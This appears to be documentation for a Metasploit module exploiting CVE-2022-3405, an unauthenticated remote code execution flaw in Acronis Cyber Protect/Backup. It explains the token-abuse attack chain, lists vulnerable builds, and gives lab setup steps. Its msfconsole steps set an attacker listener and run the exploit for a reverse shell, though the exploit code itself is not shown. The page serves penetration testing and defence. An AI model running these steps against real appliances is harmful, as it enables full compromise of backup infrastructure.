| ## Vulnerable Application | ||
| Acronis Cyber Protect or Backup is an enterprise backup/recovery solution for all, compute, storage and application resources. | ||
| Businesses and Service Providers are using it to protect and backup all IT assets in their IT environment. | ||
| The Acronis Cyber Protect appliance, in its default configuration, allows the anonymous registration of new protect/backup agents | ||
| on new endpoints. This API endpoint also generates bearer tokens which the agent then uses to authenticate to the appliance. | ||
| As the management web console is running on the same port as the API for the agents, this bearer token is also valid for any actions | ||
| on the web console. This allows an attacker with network access to the appliance to start the registration of a new agent, | ||
| retrieve a bearer token that provides admin access to the available functions in the web console. | ||
|
|
||
| The web console contains multiple possibilities to execute arbitrary commands on both the agents (e.g., via PreCommands for a backup) | ||
| and also the appliance (e.g., via a Validation job on the agent of the appliance). | ||
| These options can easily be set with the provided bearer token, which leads to a complete compromise of all agents and the appliance | ||
| itself. | ||
|
|
||
| You can either use the module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure` to collect target info for exploitation | ||
| in this module. Or just run this module standalone and it will try to exploit the first online endpoint matching your target and | ||
| payload settings configured at the module. | ||
|
|
||
| Acronis Cyber Protect 15 (Windows, Linux) before build 29486 and | ||
| Acronis Cyber Backup 12.5 (Windows, Linux) before build 16545 are vulnerable. | ||
|
|
||
| The following releases were tested. | ||
|
|
||
| **Acronis Cyber Protect 15 ISO appliances:** | ||
| * Acronis Cyber Protect 15 Build 28503 | ||
| * Acronis Cyber Protect 15 Build 27009 | ||
| * Acronis Cyber Protect 15 Build 26981 | ||
| * Acronis Cyber Protect 15 Build 26172 | ||
|
|
||
| **Acronis Cyber Protect 12.5 ISO appliances:** | ||
| * Acronis Cyber Protect 12.5 Build 16428 | ||
| * Acronis Cyber Protect 12.5 Build 16386 | ||
| * Acronis Cyber Protect 12.5 Build 14330 | ||
| * Acronis Cyber Protect 12.5 Build 11010 | ||
|
|
||
| ## Installation steps to install the Acronis Cyber Protect/Backup appliance | ||
| * Install the virtualization engine VMware Fusion on your preferred platform. | ||
| * [Install VMware Fusion on MacOS](https://knowledge.broadcom.com/external/article/315638/download-and-install-vmware-fusion.html). | ||
| * [Download ISO Image](https://care.acronis.com/s/article/71847-Acronis-Cyber-Protect-Links-to-download-installation-files?language=en_US). | ||
| * Install the Acronis iso image in your virtualization engine by unzipping the appliance image and import the `ovf` image. | ||
| * During the boot, select `Install appliance` and configure the installation settings such as setting the root password and IP address | ||
| * using the option `change installation settings`. | ||
| * Boot up the VM and should be able to access the Acronis Cyber Protect/Backup appliance either thru the console, `ssh` on port `22` | ||
| * via the `webui` via `http://your_ip:9877`. | ||
| * Ensure that you have registered yourself on the Acronis Web site and applied for the 30-days trial for Acronis Cyber Protect. | ||
| * Login into the appliance via the `webui`. | ||
| * Follow the license instructions to apply your 30-day trial license. | ||
|
|
||
| You are now ready to test the module. | ||
|
|
||
| ## Verification Steps | ||
| - [ ] Start `msfconsole` | ||
| - [ ] `modules/exploits/multi/acronis_cyber_protect_unauth_rce_cve_2022_3405` | ||
| - [ ] `set rhosts <ip-target>` | ||
| - [ ] `set lhost <attacker-ip>` | ||
| - [ ] `exploit` | ||
| - [ ] you should get a `shell` or `meterpreter` session depending on your settings. | ||
|
|
||
| ## Options | ||
| These three options below are needed to target an specific endpoint registered on the Acronis Protect/Backup appliance. | ||
| This information can be collected using the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. | ||
| This information is not mandatory for the module to run successfully. | ||
| You can also run this module standalone and it will try to exploit the first online endpoint matching your target | ||
| and payload settings configured at the module. | ||
| ### HOSTID | ||
| HostId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. | ||
| ### KEY | ||
| Key value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. | ||
| ### PARENTID | ||
| ParentId value collected from the recon module `auxiliary/gather/acronis_cyber_protect_machine_info_disclosure`. | ||
| ### OUTPUT | ||
| You can use option `none` where no information is stored or printed to the console (default). | ||
| Choosing option `json` will store all information at a file in `json` format at the loot directory. | ||
| You can use this file in combination with `jq` for offline queries and processing. | ||
